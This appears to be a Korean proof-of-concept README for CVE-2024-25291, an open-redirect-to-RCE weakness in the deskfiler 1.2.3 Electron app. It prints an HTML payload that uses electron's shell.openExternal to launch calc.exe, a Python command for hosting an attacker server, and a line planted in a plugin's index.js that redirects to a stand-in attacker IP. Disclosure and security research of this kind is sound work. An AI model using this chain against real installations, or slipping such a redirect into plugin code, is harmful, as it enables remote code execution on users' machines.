
deskfiler 1.2.3 오픈 리다이렉트 익스플로잇
CVE-2024-25291 취약점에 대한 개념 증명(Proof-of-Concept)입니다.
deskfiler - 1.2.3은 애플리케이션에서 Electron webview를 허용하며, 그 결과 원격 코드 실행이 발생합니다.
이 저장소에는 취약한 예제 애플리케이션과 이에 대한 개념 증명(POC) 익스플로잇이 포함되어 있습니다.
<html>
<head>
<title>jruru</title>
</head>
<body>
<script>
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
</script>
</body>
</html>
※ 빠르게 테스트하려면 공격자 PC에서 다음 코드로 서버를 생성하세요.
$ python -m http.server 80
참고: ※ 이때 플러그인은 공격자가 생성한 플러그인으로, 공격자 서버에 접근할 수 있도록 코드가 추가된 일반 플러그인에 불과하다고 가정합니다. 간단한 테스트를 위해 BareBone이 선택되었습니다.

그런 다음 BareBone 폴더 경로의 index.js 파일에 다음 코드를 추가합니다.
window.location='http://[attacker_ip]/hack.html'


이 PoC에서는 플러그인을 활용했지만, 다른 공격 벡터를 사용하면 독립적으로 원격 코드 실행(RCE)을 달성할 수 있다고 생각합니다. 또한 Stored XSS, Reflected XSS와 같은 서버 측 취약점이 존재하는 경우에도 RCE가 가능한 것으로 간주됩니다.